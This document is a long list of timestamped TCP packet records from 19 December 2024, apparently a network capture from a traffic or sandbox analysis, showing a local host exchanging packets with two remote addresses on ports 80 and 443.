Dec 19, 2024 20:11:30.160335064 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.160392046 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.161614895 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.161704063 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.161756992 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.161822081 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.163126945 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.163194895 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.163239956 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.163255930 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.163264990 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.163369894 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.163433075 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.164612055 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.164727926 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.164921999 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.166382074 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.166486979 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.166578054 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.166731119 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.167532921 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.167619944 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.167678118 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.167808056 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.169048071 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.169110060 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.169862032 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.169975996 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.170579910 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.170636892 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.170701027 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.170763969 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.171991110 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.172080994 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.172308922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.172408104 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.173511028 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.173660994 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.173695087 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.173770905 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.174968958 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.175173044 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.175183058 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.175231934 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.176455975 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.176515102 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.176846027 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.176908970 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.177958965 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.178037882 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.178095102 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.178179979 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.179565907 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.179686069 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.179794073 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.179867029 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.181139946 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.181149006 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.181212902 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.182420015 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.182495117 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.182527065 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.182595968 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.183937073 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.184061050 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.184528112 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.184619904 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.185405970 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.185480118 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.185520887 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.185579062 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.187047958 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.187149048 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.187170982 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.187299013 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.188385010 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.188463926 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.188479900 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.188533068 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.189912081 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.190085888 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.190120935 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.190159082 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.209878922 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.209886074 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.255908966 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.265866041 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.305063009 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.305139065 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.305219889 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.305221081 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.305851936 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.305927992 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.305931091 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.305986881 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.306926012 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.306996107 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.307056904 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.307135105 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.308202028 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.308271885 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.308557034 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.308640957 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.309457064 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.309516907 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.309598923 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.309659004 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.310797930 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.310868979 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.311003923 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.311119080 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.311975002 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.312036037 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.312124014 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.312306881 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.313299894 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.313371897 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.313411951 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.313476086 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.314497948 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.314568043 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.314841986 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.314901114 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.315697908 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.315762997 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.316318035 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.316404104 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.316972017 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.317054033 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.317166090 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.317295074 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.318157911 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.318221092 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.318341017 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.318409920 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.319464922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.319549084 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.319605112 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.319663048 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.319895029 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.320700884 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.320837975 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.320894003 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.320949078 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.321942091 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.321949959 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.322025061 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.323120117 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.323178053 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.324384928 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.324394941 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.324486971 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.324552059 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.324605942 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.325613976 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.325685024 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.326004982 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.326064110 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.326864004 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.326914072 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.327076912 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.327269077 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.328139067 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.328186035 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.328291893 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.328360081 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.329319000 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.329375982 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.329555035 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.329652071 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.330557108 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.330657005 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.330689907 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.330780029 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.331793070 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.331882000 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.331993103 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.332125902 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.333018064 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.333075047 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.333342075 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.333400965 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.334299088 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.334353924 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.334378958 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.334446907 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.335526943 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.335581064 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.335823059 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.335875034 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.336841106 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.336884022 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.337003946 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.337115049 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.338128090 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.338233948 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.338402987 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.338479996 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.339135885 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.339279890 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.339286089 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.339358091 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.340447903 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.340509892 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.340553999 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.340610027 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.341681957 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.341799974 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.342545033 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.342592001 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.342811108 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.342948914 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.342952013 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.342978001 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.343034029 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.343089104 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.343097925 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.343099117 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.343110085 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.343115091 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.343127966 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.343197107 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.344173908 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.344244003 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.345422983 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.345429897 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.345495939 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.345613003 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.345721006 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.346661091 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.346716881 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.346748114 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.346801996 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.347861052 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.347938061 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.347970009 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.348026991 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.349143028 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.349204063 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.349338055 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.349477053 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.350364923 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.350423098 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.350579977 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.350634098 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.351596117 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.351675034 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.351767063 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.351824999 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.352813959 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.352874041 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.352912903 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.352963924 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.354316950 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.354393005 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.354578018 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.354796886 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.355324984 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.355401993 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.355969906 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.356033087 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.356561899 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.356579065 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.356667995 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.357774973 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.357837915 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.358402967 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.358489990 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.359064102 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.359071970 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.359127998 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.360265017 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.360317945 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.360574007 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.360651970 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.361519098 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.361593008 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.361970901 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.362030029 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.362725973 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.362792969 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.363173008 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.363339901 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.364016056 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.364072084 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.364156008 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.364238977 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.365252018 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.365395069 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.365993977 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.366061926 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.366478920 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.366581917 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.366591930 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.366647005 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.367686987 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.367832899 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.367932081 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.367993116 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.368937969 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.369002104 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.369172096 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.369227886 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.370116949 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.370253086 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.497201920 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.497278929 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.497308016 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.497392893 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.497631073 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.497690916 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.497828960 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.497978926 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.498868942 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.498929024 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.499106884 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.499178886 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.500087023 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.500094891 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.500199080 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.501187086 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.501291990 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.501332045 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.501332045 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.502324104 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.502396107 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.502659082 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.502737999 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.503489971 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.503544092 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.503629923 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.503684044 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.504705906 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.504798889 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.504827023 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.504900932 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.505925894 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.505981922 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.506162882 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.506238937 CET	49815	80	192.168.2.4	31.41.244.11
